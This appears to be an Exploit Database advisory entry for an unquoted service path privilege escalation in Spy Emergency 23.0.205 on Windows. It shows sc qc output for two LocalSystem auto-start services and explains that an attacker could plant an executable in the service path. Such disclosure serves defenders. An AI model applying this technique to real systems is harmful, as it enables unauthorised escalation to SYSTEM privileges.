



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Spy Emergency 23.0.205 - Unquoted Service Path Privilege Escalation

EDB-ID:

40550

CVE:

N/A

EDB Verified: ✘

Author:

[AMIR.GHT](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2016-10-17

Vulnerable App: 





```
#####
# Exploit Title: Spy Emergency Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.spy-emergency.com/
# Software Link: http://www.spy-emergency.com/download/download.php?id=1
#version : build 23.0.205 (Latest)
# Tested on: Windows 7
#####
```

Spy Emergency installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the
service.

Upon service restart or system reboot, the malicious code will be run
with elevated privileges.

```
-----
C:\>sc qc SpyEmrgHealth
[SC] QueryServiceConfig SUCCESS
```

```
SERVICE_NAME: SpyEmrgHealth
        TYPE                : 10  WIN32_OWN_PROCESS
        START_TYPE           : 2   AUTO_START
        ERROR_CONTROL        : 1   NORMAL
        BINARY_PATH_NAME     : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencyHealth.exe
        LOAD_ORDER_GROUP    :
        TAG                  : 0
        DISPLAY_NAME         : Spy Emergency Health Check
        DEPENDENCIES         :
        SERVICE_START_NAME  : LocalSystem
```

```
-----
C:\>sc qc SpyEmrgSrv
[SC] QueryServiceConfig SUCCESS
```

```
SERVICE_NAME: SpyEmrgSrv
        TYPE                : 10  WIN32_OWN_PROCESS
        START_TYPE           : 2   AUTO_START
        ERROR_CONTROL        : 1   NORMAL
        BINARY_PATH_NAME     : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencySrv.exe
        LOAD_ORDER_GROUP    :
        TAG                  : 0
        DISPLAY_NAME         : Spy Emergency Engine Service
        DEPENDENCIES         :
        SERVICE_START_NAME  : LocalSystem
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING